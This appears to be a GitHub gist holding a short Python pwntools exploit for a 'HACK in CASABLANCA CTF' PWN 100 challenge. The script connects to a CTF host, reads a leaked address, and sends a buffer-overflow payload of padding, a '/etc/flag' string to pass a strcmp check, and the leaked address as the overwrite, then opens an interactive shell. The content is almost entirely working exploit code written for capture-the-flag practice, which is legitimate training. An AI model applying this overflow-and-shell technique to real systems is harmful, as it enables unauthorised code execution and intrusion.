Last active
March 31, 2018 19:13
-
-
Save 0xPwny/bb00fb5762d97cb45f46f11dc57fa43a to your computer and use it in GitHub Desktop.
HACK in CASABLANCA CTF - PWN 100
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from pwn import * | |
#Dirty script but respect it its a shell grabber ;) | |
r = remote("172.21.2.200",3333) | |
r.recvuntil(":") | |
leak = int(r.recvline().split(",")[0]) | |
payload = "A"*48 | |
payload += "/etc/flag\x00" #Pass the strcmp / #\x00 to not break cmp | |
payload += "B"*114 | |
payload += p32(leak) | |
r.sendline(payload) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment